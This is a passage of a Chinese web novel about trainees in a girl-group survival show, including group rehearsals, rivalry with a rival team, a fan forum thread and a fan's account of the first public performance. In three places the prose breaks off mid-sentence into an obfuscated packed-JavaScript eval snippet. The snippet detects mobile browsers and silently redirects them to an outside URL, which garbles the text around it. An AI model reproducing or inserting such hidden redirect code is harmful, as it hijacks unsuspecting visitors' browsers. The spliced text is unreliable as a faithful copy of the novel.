她抬起手,大拇指和食指张开,比了一个类似木仓的手势,“多酷。” “不是不是,”卞苏身边的女生凑过来,笑得眉眼都舒展开来,“我们这一场的表管都是酷拽冷脸,但是为了反差,这里还是不能用同一个表情的。” 原来是这样。 时虞清若有所思,索性支招道:“不然这样,我觉得也不是非要可爱,你挑眉笑一下也可以嘛。” 对呀! 卞苏被“可爱”这两个字洗脑了一个上午,生怕一生酷冷拽姐英名就这样毁于一旦,只能在“可爱”的夹缝中找活路,找上了时虞清。 “是哇!不可爱也是一种可爱!” “你在说什么,你要退赛成为哲学家吗老师?” “哎呀你想想嘛,小苏姐突然笑一下,落在粉丝眼里可不就是可爱?你做啥粉丝都会觉得你可爱的!” “那你刚刚一顿吃三个鸡腿呢?” “那她们也会!” 卞苏来也匆匆去也匆匆,带着一队人呼啸着又走了,刚好谭清清在这个时候吃完,她们就一起起身,回了宿舍。 ****************** 《万象如我》的确会留给练习生们午休的时间,但毕竟赛程紧张,她们只有不到半个月的时间就要举行第一次公演,时间紧迫。 所以就算是累了一整个上午,时虞清和谭清清也只是睡了半个小时,就起身往练习室去。 她们前脚刚推开练习室的大门,姜舟霖和左桑就后脚进了练习室的大门,时虞清抬起头看了一眼挂在墙壁正上方的时钟,已经两点了。 “新月呢?还没有来吗?” 时虞清有些疑惑,刁新月看上去并不像是不守时的人,主题曲练习那三天也是勤勤恳恳,C的等级评价虽然不算高,但至少能说明她并没有不重视这个节目。 “是睡过头啦?不会吧应该。” 要是睡过头还好说,要是是身体不舒服可就糟了。 她们上午练歌出了几乎一身汗,可刁新月中午的时候特地拿的冰水,时虞清怕她着凉。 但就在她刚想起身去问工作人员刁新月的宿舍的时候,就见刁新月一阵风一样跑进来,连脸上的眼睛歪了都不知道。 “我来了我来了!” 她一屁股坐在地上,边喘气边向旁边伸手:“能不能麻烦帮忙拿瓶水?” 她身边坐着的是姜舟霖。 时虞清刚想自己探身过去递水,就见姜舟霖长手一捞,稳稳把水送进刁新月手中。 估计是看刁新月满头薄汗,心软了。 刁新月咕嘟咕嘟喝下半瓶水,才勉强平复下气息。 时虞清见她休息得差不多了,就站起身示意:“人来齐了,咱们开始吧。” “等等!” 刁新月伸出尔康手,“你们先等等,让我把话说完。” 时虞清坐回原地。 刁新月平复下气息,才开口继续道:“我这个中午没休息,去别的寝室转了转。” 在主题曲评级之前,她是D班的练习生,而D班是练习生最多的班级,刁新月能接触到的练习生远比其他几人要多得多。 加上刁新月一幅乖乖女的长相,性格又柔和,D班的练习生们有什么事情也愿意跟她倾诉。 “你们知道,为什么中午的时候B组那个女生瞪我们吗?” “……为什么?” 原来是去刺探情报了,时虞清肃然起敬,连忙给刁新月捧场。 其他几人脸上也是一幅听八卦的兴奋神情,谭清清尤为最甚。 “因为她们组没有vocal,那个高音没有人能唱上去。” 竟然是因为这个? 《宇宙狂想》是光听编曲就知道难度不小的曲子,能来这里的,除了时虞清这种有执念的,姜舟霖这种不服输的,基本上就是没得选的。 既去不了轻松的vocal组,又不能去人气组多挣两个镜头,就只能在矮子里面拔高个。 比起rap组,大多数练习生更擅长的都是vocal和dance,但擅长的程度还是有差别,比如…… “B组那些人,基本上都是d ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16444032|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ancer。” 原来都更擅长舞蹈吗? 《宇宙狂想》算矮子里面的最高个,能进来的练习生最差也是C等级评价。 但根据众人对于殷辞玉的了解,如果是dance和vocal都很好,就是A等级,两个都算得上还可以,只是细节不算好,就是B等级,但如果是vocal和dance只擅长一个方向的话,就算擅长的那部分再好,也会被评到C等级。 所以其实C等级卧虎藏龙,不乏vocal和dance大佬。 只是B组,运气实在是差。 “上午我们排练的时候,我隐隐约约感觉门外有人来着,但是看不太清我就没说,现在想想,应该是虞清你唱歌被听见了。” 堪称完美的高音,不会出差错的killing part。 高下立现。 “那她们就是因为这个瞪我们?不应该吧。” 谭清清率先提出质疑,她当时最靠走廊外面,看那女生的眼神最清楚。 那绝对不是困兽犹斗的眼神,绝对不是知道自己不如她们,所以暗中记恨的眼神。 谭清清想了想,如果真的需要给那眼神找一个形容词的话,应该是“听说你们不错,那不如我们来过两招”的眼神。 那眼神倨傲、自信,没有掺杂任何自卑、不甘。 “怎么可能是因为这个?” 刁新月摆摆手,她竖起一根手指在胸前,神秘道:“你知道瞪我们的人是谁吗?” “谁?” “sg的大主舞!蒋飞遥!” 见时虞清几人都是一脸茫然,刁新月急得连说带比划,“顶级大主舞啊!她们团初舞台的舞都是她编的!” 我天。 姜舟霖接话道:“我知道她。” “是吧!”刁新月一脸找到知己的表情,“在这个节目中,论舞蹈实力,卞苏排第一,那蒋飞遥就是当之无愧的第二!” “你们没有听过一句话吗?” 刁新月竖起一根手指摇了摇,“有蒋飞遥在,就没有扣不齐的舞!” 她往后一倒,“咱们遇到对手啦!” 时虞清恍然,原来那个眼神,是蒋飞遥在明明白白地告诉她们: 能唱高音又怎么样? 我会在我最擅长的领域,打败你们。 ******* 标题:《万象的主题曲新鲜出炉,快来看看你pick哪位小姐姐吧——》 1L:终于生了!我真的翘首以待啊啊啊啊! 2L:《万象》的窜稀式宣发终于正经起来了是吗,你们咋不等明年再发呢? 3L:支持2L。 4L:别吵啦别吵啦,专心看舞台吧! 5L:我天殷辞玉状态好好,她不是才开完演唱会回来吗? 6L:真是天选爱豆啊,就冲殷辞玉PD,这个节目我也会追的! 7L:不过这一届女团选秀质量还可以哎,C位的小姐姐好酷! 8L:我之前一直在想这种魔鬼发色到底谁能hold住,现在答案出来了。 9L:还是要靠脸这一核心出装啊。 10L:你错了楼上,还有气质。 11L:说到气质,我觉得B级那个小姐姐气质好好哦!像那个江南烟雨中走出来的! 12L:是说舒照闻?我也觉得,她初舞台的琵琶比现在这个舞台妆适合她多了。 13L:节目已经开播啦?容我速速去看! 14L:都快播到第二期了,楼上是不是假粉。 15L:人家只是刚入坑的萌新而已啦。 16L:不过她们跳得好青春啊,让我想起了我还不是苦命打工人的日子。 17L:唉。 18L:B级美女真的很多哎!那个小姐姐感觉白到发光,看上去妆都比其他人淡一点。 19L:零秒解码,我们淡颜天花板时虞清! 20L:确实好看,跳得很不错哎,我现在就去看正片! 21L:那请一定要给我们时虞清小姐姐投票啊! 22L:楼上粉丝吗?哈哈哈我一定会的! 26.小组对决(六) 这边练习生们在热火朝天地排练,时间也在奋勇前进,指针努力转了一圈又一圈,终于把时间推到了彩排那天。 姜舟霖已经换好了衣服,正皱着眉靠在墙上解打结缠在一起的银质流苏。 因为《宇宙狂想》的舞蹈动作幅度并不算大,所以造型师在她们的造型上可以尽情发挥,把各种小配件挂了她们满身。 而五人中长相最为精致的姜舟霖更是受到了非同一般的待遇,除了繁复的编发造型,她还额外享受到了流苏装饰。 华丽宫廷风装再配上精致猫系长相,从时虞清这个角度看过去,漂亮得像是之前导师家那只因长相闻名全校的三花小猫。 小猫叫耶耶,原本是学校中的流浪猫,为了躲雨钻进了导师家,没想到就这样获得了长期饭票。 原本是怯生生的毛绒小团,可好罐头好猫粮伺候了几天后,就变成了雄赳赳气昂昂一大团,连竖起的尾巴都像极了湖边生长茂盛的芦苇。 那年冬天不知道为什么,导师突然迷上了织毛衣,家里一堆又一堆的毛线团,有一次时虞清提着水果上门的时候,恰巧就撞见了小猫身陷囹吾、浑身缠满毛线团的样子。 ……就和现在的姜舟霖一样。 或许是因为觉得说出来丢脸,姜舟霖只好皱着眉头自己解开,可是那流苏极细,如果不细看,连缠在一起的疙瘩都不容易发现。 她自己又是长指甲不方便,只好用指甲的尾端一点点慢慢抠。 姜舟霖弄得冒火,但这是彩排不好发作,造型师正忙,为了这点小事叫她不仅丢脸更是小题大做,可又不好放着打结的流苏好压抑着火气一遍又一遍地尝试。 “我来吧。” 眼见姜舟霖身上都快传出焦糊味了,时虞清赶忙上前,小猫陷在毛线团中是很正常的事情,她做得相当顺手且自然。 可落在姜舟霖眼中却完全不是这样,时虞清的脸倏然靠近,连一点缓冲都没有,女生清浅的呼吸混着化妆品的馥郁香气就这样扑面而来,让姜舟霖几乎窒息。 或许是因为上次时虞清握住她手臂时她反应太大了,这次时虞清没有贴得很近,但这样的距离,却刚好能让姜舟霖看清楚她的整张脸。 时虞清的妆是她们五个人中最淡的,就算明知道镜头吃妆,化妆师也没有给她画千篇一律的舞台妆,而是选择性地加深了唇色和眉峰。 这样一来,不仅把时虞清脸上为数不多能算得上“浓”的地方放大了,更让她脸上的“淡”显得尤为突出。 如果说平日的时虞清是一朵清凌凌的花,那她现在就是碧波万顷的湖面,清丽,平静,却足够耀眼。 姜舟霖看得出神,她自己还没来得及发觉,就被周围重新纯净的空气拉回现实,她愣愣地低头一看,腰上的流苏没像刚才那样打架似地缠在一起,反而根根分明。 被时虞清信手一拨,便晃动起一片潋滟的银光。 “好了。” 她满意地端详片刻才直起身退回去,姜舟霖看着她,却不知道该说些什么好。 不说话显得很没有礼貌,说谢谢就显得热络,解个流苏而已!而且又不是自己让她解得! 她垂下头,盯着那团格外双标的流苏,怎么在自己手上,那团结像是被焊死了一样,到时虞清手上,就轻而易举解开了? 姜舟霖有些气馁,但还是低声道:“……谢谢。” 那个结缠了好几层,想解开也不容易,要是她自己来,肯定至少半个小时。 时虞清笑了笑,才转过身去让工作人员给自己带耳返。 虽然面上不显,但其实在这一刻,姜舟霖是很紧张的。 她在公司的时候商演有队友陪着一起,进入节目组之后,尽管大家去了不同的等级,但说到底面前对着的是镜头而不是活生生的人。 可是这一次,却是她第一次一个人面对黑压压的镜头和观众。 会不会在上台的时候突然忘记动作? 耳返会不会突然失效? 表情管理是不是没有做好? 自信如姜舟霖,也会在想到这些可能性的时候变得惴惴不安,她像是用爪子拨弄毛线团的猫,就算平常威风凛凛,却也会不慎被毛线缠住,然后咕噜滚下桌子,摔得满身青紫。 不仅只有自己,姜舟霖能看出来,其他三个人也很紧张。 谭清清之前也参加过大型的汇演,所以只是程序性的紧张,可左桑和刁新月可也是实实在在的第一次,就算跑过小型商演,和这种程度的舞台也根本就不是一个量级。 更何况这还是第一次公演,如果成绩不好就只能收拾东西回家了。 刁新月连化妆师画眼线的时候都在抖,她这次带的是隐形眼镜,那张小巧瓜子脸在没有眼镜的遮挡之后显得更加可爱,惹得谭清清吐槽她为什么不早点把眼镜摘了。 左桑虽然平常一副“爱谁谁吧”的咸鱼模样,可练习从来不拖泥带水,几次调整走位也没什么怨言,只会在结束之后多在练习室的地板上躺一会儿。 但她并不是一个人。 这段时间没有一个人不累,一公的含金量和重要性化作沉甸甸的压力压在她们身上,再加上B组强有力的对手,直让人喘不过来气。 每次练习结束之后,五人都是四仰八叉地倒在地上,就连平常最注重形象的姜舟霖也顾不上讲究,带着一身热乎乎的汗意仰倒在地上,给后脑勺垫一块毛巾已经是她最后的倔强了。 时虞清也累得够呛,万幸皮肤底子够好,不然一上遮暇,她妆面的风格就要大改,一轮妆造下来,化妆师的遮暇盘都几乎铁皮,每个人的脸上都有几乎遮不住的黑眼圈。 姜舟霖长出一口气,她刚想走到时虞清身边把耳麦戴上,就看着B组遥遥走过来。 或许是提前给节目组的造型师打过招呼,不同于A组的宫廷风的A字短裙,她们身上是利落的黑色长裤,虽然不如A组的美观,却能让肢体动作更加明显,更能让观众看得清舞蹈动作。 蒋之遥是C位,肩膀上晃动的金色流苏和徽章就算隔得远也能看清,因为放弃了末尾的那段高音,她们都是整齐划一的耳麦。 可是她们组…… 姜舟霖偏头看向时虞清,她只带了耳返,工作人员交给她的是一只手麦,在一众带着耳麦的女生中显得格外显眼。 蒋之遥显然也看到了,但她并没有像上次一样露出不服的眼神 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16478670|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,而是一副胜券在握的样子。 她是好强,可她也清楚,作为原曲的改编部分,这段高音是整首最出色的亮点,堪称点睛之笔也不过分。 但是,那有怎么样呢? 只要A组的舞蹈没有像她们的高音一样出色到无可指摘,她们就有胜算。 想到这段时间一个细节一个细节帮队友调整的自己,蒋之遥心中颇有底气,她目不斜视,从A组身边走了过去。 第一谁都想要,大家各凭本事,手底下见真章。 ********* 事实证明,给时虞清拿手麦是再正确不过的选择。 当清透高音响彻整个场馆的时候,就算是一旁的工作人员也结结实实吃了一惊。 “主攻vocal的?太有实力了。” 要知道,彩排的时候可是纯现场不修音的,在这种情况下,还能将高音唱得如此凝实,实在是件不容易的事。 特别是她们还不是纯vocal的舞台,是需要跳舞的,可在这种情况下高音不仅不晃,还没有喘气声,实在是难得。 “这要是到舞台上还能正常发挥,现场的尖叫声不得把天花板掀了。” 她敢肯定,只要这个练习生不在正式舞台上出纰漏,就绝对是很精彩的舞台。 …… “怎么样?” 时虞清接过谭清清递来的水,问道。 她太久不唱高音,但为了这一次的舞台,几乎每天都要练习好几遍,争取让嗓子保持在最巅峰的状态。 费谣在验收的时候还很意外时虞清能唱出这样的高音,连忙让助理取了几包她自己平常吃的润喉糖给她。 “你不是专业歌手出身,嗓子一时半会适应不了,平常还是要好好保护嗓子。” “不过唱高音的时候,还是要松弛一点,你可以提前两拍就在旁边站好,那一段最后那个舞蹈动作索性不要做了,就站在旁边平复气息。” 赵蕴予在旁边很赞同地点头,A组的杀手锏就是高音,为了保证杀手锏顺利亮出来,一切都得靠边站。 费谣比划了两下,“把气息平稳了再唱,嗓子的压力就会轻一点。” 刚跳完就得立马接上high c的高音,就算是真的专业歌手来了也吃力,难为这孩子能唱成这样了。 时虞清弯腰双手接过费谣助理递来的糖,才一一鞠躬谢过了两位导师。 她也觉得吃力,但为了保证舞台效果也没有办法。 毕竟这不是她一个人的舞台,她自己可以不在乎排名,可她却不能影响其他人的前途。 所以如果可以的话,就尽量做好一点吧。 时虞清刚把水咽下去,就听见一旁的谭清清激动道:“特别棒啊虞清!” 刁新月猛猛点头:“特别稳!” 左桑没有说话,而是直接向她竖起了大拇指。 时虞清笑起来,她捏着水瓶转过身,看向姜舟霖,“怎么样。” 姜舟霖轻哼一声,她总招架不时虞清这样笑着看自己,所以偏过头看向另一边,“也就还行吧。” 她看着B组的人站上舞台,心中暗暗补充道:超过她们,还是足够的。 27.第一次公演(上) 如果说追星这件事情有段位的话,涂白一定可以评得上钻石段位。 作为知名女团偶像殷辞玉的骨灰级粉丝,她不仅能在一天之内坐两次红眼航班只为在单休日赶上演唱会,还能单手扛着十斤重的“大炮”镜头边走边拍,只为给偶像出片。 至于什么淋三个小时的雨、在手机面前蹲守一天只为抢到回流票……更是家常便饭。 在追星这件事情上,涂白认为自己真的已经尽了全力。 可无奈殷辞玉大部分行程基本上都在国外,她很多时候有心却无力。 但难得这一次殷辞玉接了一档国内的综艺,尽管是在选秀节目中当导师,可毕竟是能近距离接触自家爱豆的机会,涂白二话不说,疯狂氪金拿到了这个节目第一次公演的内场门票。 她收拾好镜头和行装就准备出发,连内存卡都多准备了几张,涂白决定,这次一定要给小烟花(殷辞玉粉丝对其爱称)狠狠出片! 索性这个节目组还不算太穷,涂白暗暗点头,虽然离机场有点偏,可好歹周边建筑还有点现代的样子,不是上次音乐节那个泥巴地。 想起上次音乐节因为沾满泥而报废的裙子,涂白心中愤愤,连走路的脚步都忍不住更加用力。 为了这一次线下活动,她早早就准备好了物料,不仅有印有殷辞玉头像的手幅,还有q版小人的小旗子,是根据上次的演唱会造型做得。 戴着贝雷帽的q版小人在旗子上迎风飘扬,看上去无比可爱。 涂白很满意这一次的美工设计,连带着看周围的大旗都觉得不如自己手上的这个。 但是这一次的线下准备得还挺充分的,在通往场馆这条路上都挂满了练习生的应援大旗,上面都是早就放出来的证件照。 涂白一张一张看过去,虽然美工设计实在简单到令人堪忧,但是好在脸在江山在,各色精致的面孔顿时让这些大旗身价倍涨。 这届选秀质量不错嘛。 涂白虽然是殷辞玉的死忠粉,但平常也会偷吃几口别家的饭,娱乐圈的新鲜面孔层出不穷,饱眼福的事情,她还是乐此不疲的。 可涂白自己的爱豆就是之前一度被称为门面担当的殷辞玉,这些练习生们尽管争奇斗艳,可能让她留下印象的也不多,毕竟大家穿得都一样,只能在长相和气质上面做区分。 她首先记住的就是卞苏。 不仅名字很酷,长相也很酷。就算不看脸,那一头海妖红的发丝也足够引人注目,很难不记住。 然后就是燕临纾,这个没得说,自己爱豆的师妹,不管怎么样都是要支持的! 涂白满意点点头,继续向前走。 等等, 她停在一面大旗下面,若有所思地看着旗帜上印着的女生,不知道为什么,她总觉得这个女生看上去有些眼熟,但是又实在想不起来到底是在哪里见过。 ……时虞清? 名字听上去倒有些陌生,涂白晃晃脑袋,她一天到晚刷微博,每天看过的小爱豆没有一百也有八十,实在是记不过来。 或许是哪天刷直拍的时候见过? 涂白有些不确定,她一向是想起了什么东西就一定要全部想起来的人,不然她能难受一整天。 她重新看向旗帜上女生的面容,长得倒还算是有辨识度,不像是现在流行的明艳型长相,她眉目之间的“淡”意连舞台妆都没能压下去,反而显得更加出尘。 不像是一个会在舞台和灯光下面贩卖梦想和激情的爱豆,倒更像是会出演仙侠剧的小演员,毕竟在所有一路看过来的练习生里面,只有这位……时虞清的眼神不是直视镜头的。 她的眼神是虚的,为偶像出过不少神图的涂白几乎敢肯定,在拍摄这张证件照的时候,她的眼睛绝对没有看镜头。 可是,哪里有爱豆不看镜头的? 涂白在心中暗自嘀咕,可当她再一次把视线放在那张面容上时,却还是不得不承认,这样的效果或许反而更好。 因为那双黑沉沉的瞳孔并没有直视前方,而是微微下移,溺入眼底的一泓秋水之中,明明她离那面大旗只有咫尺之遥,却像是隔了千山万水,时虞清身上的距离感浓得让她和“爱豆”这个身份割裂开来。 真是奇怪。 涂白在心中暗自嘀咕,她刚想掏出手机搜索一下这位叫时虞清的练习生的信息,就被肩上的包压得身体一沉。 为了这次演出的出片,除了两个镜头,她还背了电脑,就是为了能在演出的间隙就把图修好发上超话,好让同担们先一睹新鲜的小烟花。 不行,演出马上开始了,她得先赶过去把三脚架支起来。 想到这里,涂白只好遗憾地收回手,毕竟不管是什么事情,都不能阻挡她给自家爱豆出图! 安检前面排起了队,涂白暗自庆幸自己到的不算太晚,还有时间慢慢调试相机参数和光线。 或许是主办方知道练习生们的第一次公演吸引不到多少粉丝,能来的大多数都是导师们的粉丝,所以在最靠近安检口口,最靠近场馆的这片路上,摆的是几位导师的大旗。 涂白一边慢慢跟着队伍向前挪动,一边沉浸式欣赏起自家爱豆,什么想不起来的练习生已经全部被她抛至脑后,整个世界就剩下了那张已经被她刻进灵魂的面孔。 殷辞玉几乎陪伴了她的整个少女生涯,从大学一直到工作,她心心念念追了她六年,从咬牙攒半年的零花钱却只买得起山顶看台票到现在已经能跨越大半个太平洋去追线下活动, 她看着自己慢慢长大、成熟,也看着殷辞玉一步一步登顶,站上了更加耀眼、更加夺目的位置。 她能死心塌地追殷辞玉这么久,并不完全是因为那张脸,又或者说,娱乐圈里好看的人千千万,她能一路追到现在甚至连个墙头都没有,完全是因为殷辞玉这个人。 殷辞玉在韩国的知名公司出道,经历过的淘汰考核不知凡几,那个时候就连粉丝都不知道她到底能不能出道,只能在每月的内部考核时提心吊胆,祈祷那个拎着行李箱走出公司大门的人不是殷辞玉。 她们不是一开始就这样风光的,韩国冬天很冷,殷辞玉要在冬天坐着大巴全国跑巡演,那个时候哪里有这样大这样好的舞台? 都是露天的,零下几度的空气里,她们把羽绒服一脱,里面就是单薄的打歌服,就算冷得牙齿打颤也不能让气息出问题。 这还算是好的情况,涂白望着不远处印着殷辞玉去年澳岛演唱会的造型愣愣出神,有时候甚至连舞台都没有,只有连伴奏声音都时高时低的练习室视频。 那个时候,她自己过得也不算顺,这边她刚被领导臭骂一顿,噙着眼泪焦头烂额地重新写方案加班, 那边殷辞玉戴上帽子把整张脸盖住,沉默地站在镜子面前和队友一起跳舞,等待着下一个不知道什么时候才能有的舞台。 但好在,她们都靠着彼此走过了最艰难的一段时光。 想到这里,涂白就忍不住想要叹一口气,但是这个时候安检恰好轮到她了,她忙不迭地打断自己的思路,准备好好应付安检。 好在这一次的安检上午算不上太严,保安看到她背包夹层的灯牌也只是睁一只眼闭一只眼,摆摆手就放了进去了。 涂白安下心来,从善如流地进了场馆。 等熟练地把灯牌和支架都安顿好,涂白才有心情观察这次表演的场馆。 灵讯真是相当舍得花钱,这一个场馆的设施专业度直逼知名体育馆,涂白满意地环顾一圈,除了必备的摇臂摄像机,喷彩带喷火的道具和鼓风机也都齐备,令人安心。 看来今天的舞台,应该不会太让自己失望。 ****** 灯光束束落下,涂□□神一振,要开始了! 殷辞玉果然和另一位导师一起出场,涂白忍不住挥舞着手中的小旗子兴奋地尖叫起来,要不是顾忌身前的支架,她可能会站起来尖叫。 不管多少次,当她不再透过电子屏幕,而是用肉眼看见那个活生生的人 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16483198|181816||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 时,还是忍不住热泪盈眶。 真好啊,又一次见到你啦。 涂白悄悄擦干眼泪,举起相机就开始疯狂找光线调整角度,出图是今天的首要任务,她一定要让今天的爱豆闪耀微博! 但毕竟今天的重点还是练习生们的公演舞台,殷辞玉只是配合着活跃了一下气氛,就把舞台留给了练习生们。 涂白意犹未尽,但还是乖乖听了自己偶像的话,开始享受起练习生们的舞台。 嗯……第一首是什么歌来着? 涂白努力回想了一下,才勉强记起是叫什么狂想,一首似曾相识的舞曲。 涂白这些年除了工作就是追星,能在爱豆的美颜暴击下记住曲子名字已经不错了,能想起来曲子的风格还是多亏了她那位沉迷看剧的朋友。 剧女和追星女基本上同病相怜,这位朋友每次都和涂白一起抱头吐苦水,这首歌是她的手机铃声,每次她们俩聊得尽兴,这首铃声总会响起来,打断她们的聊天。 涂白不免有些悻悻,她摆弄着身边的相机,犹豫着要不要关掉。 可她的指尖刚触上按键,就被一阵规律响起的激昂鼓点打断。 我天,这里的舞台还能有升降台! 天,哪里来的猫系美女!?她刚才怎么没有看见! 唱跳舞台的魅力就在于一瞬间的惊心动魄,涂白不由得瞪大了眼睛。 听出曲子是改编过的时候,涂白不由得松了一口气,进而更加专心地看起舞台来。 但她没有注意道,就在她因为音乐冷不丁手抖的那一刹那,4k视频模式悄然打开。 宇宙狂想不愧是能破圈的舞曲,这样一改编,女团舞的风味就更加浓厚,涂白看得兴致勃勃。 尽管五人里面有两个女孩的动作不够流畅标准,但基本的走位还是极具观赏性的,涂白听出了垫音的痕迹,心中却并没有多余的感觉。 唱跳偶像带耳麦开垫音再正常不过的事情,无可指摘。 今天出场的第一队倒还算是不错,不仅全员颜值在线,妆造也很不错,宫廷风的马甲或是小西装都很亮眼,那个长得像小猫的女生肩膀上面还有流苏,抬手的时候就会连成一片泠泠的流光,绚烂无比。 她的动作也干脆利落,几个细碎动作之间的衔接也做得顺畅,没有丝毫拖泥带水,饶是看惯了女团舞舞台的涂白都说不出缺点。 涂白看得兴致盎然,但她没想到惊喜还在后面,时虞清?! 涂白一开始还没太看清,但时虞清的脸一出现在大屏上,她就情不自禁地喊了她的名字——这张脸实在是太有辨识度了! 不过…… 大屏拍不全,涂白又凑到相机屏幕前仔细看了看,时虞清手上拿的是手麦,她是rapper? 不过怎么看气质都不一样啊? 她按下心中的疑惑,看着歌曲慢慢推到了高潮。 根据涂白的经验,这里应该是五个人一起重复高潮的舞蹈动作,毕竟五个人都站成一束了,高潮动作又是连贯的舞蹈动作,根本就不会有第二个选项。 而这个时候,镜头应该切换成大远景,聚焦最后一次高潮的刀群舞。【注】 可这个时候,镜头对准的,只有时虞清一个人。 涂白还没有来得及疑惑,她的眼睛猝不及防地瞪大—— 下一秒,清亮高音响彻全场! 数簇火花沿着舞台齐齐喷出,无数绚丽彩带从天而降,时虞清单手扬臂把手麦拉远,浑圆清澈的高音几乎让在场每个人起了鸡皮疙瘩! 火花星星点点落下,那段高音的余韵还萦绕在场馆内,在全场震耳欲聋的尖叫和欢呼声之中,时虞清站在C位,和其他四个人跳出最后一次高潮的舞蹈动作。 直到她们摆出ending pose(舞蹈结束之后的定格动作),涂白还是久久会不过神来, 天, 她嗓子尖叫到发疼,恍恍惚惚地想, 这真的是练习生该有的实力吗? 28.第一次公演(下) 彩带飘扬落下,最终定格在女孩们沁出薄汗、微微笑着的脸上。 但涂白却将视线转向了最旁边写着号码牌的大屏幕上,认真核对着上面的号码牌和手中的投票器。 涂白没有操作过这类机器,加上场馆太暗,她只能掏出手机打开手电筒来照亮机器上面的按键。 她在这边专心研究机器,另一边却突然传来一阵窃窃私语: “你投谁呀?” “等我想想,这好像不能给导师投票吧,哈哈。” 原来和自己一样,涂白心想,都是导师的粉丝。 索性投票的时间还没到,涂白抬起头看了一眼说话的两个女孩子,她们穿得很休闲,但色调却是统一的淡青色。 啊,涂白恍然大悟,原来是赵蕴予的粉丝。 刚才她在场馆外面就看见穿着同样颜色衣服的粉丝在场馆门口拉横幅拍照,原来淡青色是赵蕴予的应援色吗?挺好看的。 涂白转过头,继续操作着手上的仪器,身边两个女生的讨论还没停。 “那个高音唱得不错,蛮实的。” “她们是全开麦吧,能唱成这样可以了。” “但是我总感觉她们舞蹈差点,没那么齐。” “我也感觉有点,那个盘头的女生好像还慢了半拍,我看见好几次了。” 不愧是赵蕴予的粉丝。 涂白肃然起敬,赵蕴予是内娱女爱豆第一舞担,她们能追线下到这里来,想必之前看过不少次赵蕴予她们团的演唱会。 那可是内娱综合水准前列的知名女团啊,这怎么能比? 涂白暗自在心中腹诽,她自己虽然追殷辞玉,可却对面前的爱豆格外宽容。 她自己是佛系粉,很多次看见殷辞玉为了完美的舞台演出熬得双目通红一身伤病,就心里不是滋味。 殷辞玉刚出道的时候进过不少次医院,但就算这样还是要配合团队进行宣传,那一次路演的时候,在站姐拍出的图中甚至还能看见殷辞玉手上还在渗血的针孔。 涂白没有办法让殷辞玉降低对自己的要求和标准,她现在唯一能做的,就是不以这个苛求殷辞玉的学生。 她很少想起之前的事情了,可是一踏进这个场馆,看着这些自己爱豆亲手教出来的、青涩稚嫩的女生,还是忍不住想起殷辞玉之前的样子。 如果那个时候,有人也这样对殷辞玉宽容,该有多好。 涂白还没有结束回忆,就见灯光再一次聚焦在台上—— B组的表演,开始了。 ******* 姜舟霖跳得刘海都汗湿了,但在B组表演结束之后,她们还需要上台进行拉票环节,所以现在只能用纸巾一点点吸去水分,再用散粉勉强保持干爽。 谭清清在一边忧心仲仲,“我感觉我刚刚好像进错了两次拍,怎么办啊不会被观众看见吧。” 刁新月也是一脸疲累,“感觉我好像唱底了一点,虞清你听到了吗?” 她们在上台的时候都是会佩戴耳返的,而除了人声的返送之外,还有节拍和部分的提示音,她不担心自己的拍子出错,只是担心音准不够完美。 时虞清回忆了一下,“没有。” 刁新月唱她那部分part的时候她应该在走位,听得很清楚。 尽管声音稍微底了一点,但是音准是没有问题的。 “那就好。” 有时虞清的肯定,刁新月像是吃了一颗定心丸,长舒了一口气。 “先别松气。” 姜舟霖的声音从身后传来,后台没有镜子,她只能对着迷你的手持小镜子整理刘海,颇为废劲。 “可别忘了,蒋之遥是怎么跟我们说的。” 气氛一瞬间凝固。 蒋之遥不愧是sg的大主舞,在后台遇见刚下台的她们时,就直截了当道: “F part 和C part都跳错拍了,你们是在放水吗?我们不需要。” 她的眼神睨过出现失误的两人,语气凉薄。 谭清清和左桑默默低下头,这确实是她们的失误,没有办法辩驳。 B组全员已经全部佩戴好了耳返和耳麦,并没有像时虞清那样拿手麦。 导播催促的声音突然响起,时虞清甚至能听到她们耳返之中的声音: “宇宙狂想 —B check。” 蒋之遥和时虞清擦肩而过,她的妆造和姜舟霖相似,都带着张扬华丽的流苏。 银质的链条悉数擦过时虞清的肩膀,蒋飞遥的长发飞扬着掠过她们身旁,外衣猎猎作响间,她撂下一句: “高音唱得不错。” “她就能保证B组全员不出错吗!”谭清清不忿地揉弄着手上的抱枕,“耳返里面的拍子响得我心都要跳出来了!” “这还真不一定,”时虞清若有所思道,“她舞蹈真的很厉害。” “你竟然还夸她!”刁新月有些惊奇,时虞清虽然平日温和,但脾气还没有好到这个份上吧。“她可是在挑衅你!” “挑衅?”时虞清笑起来,“人家那是真心在夸我。” 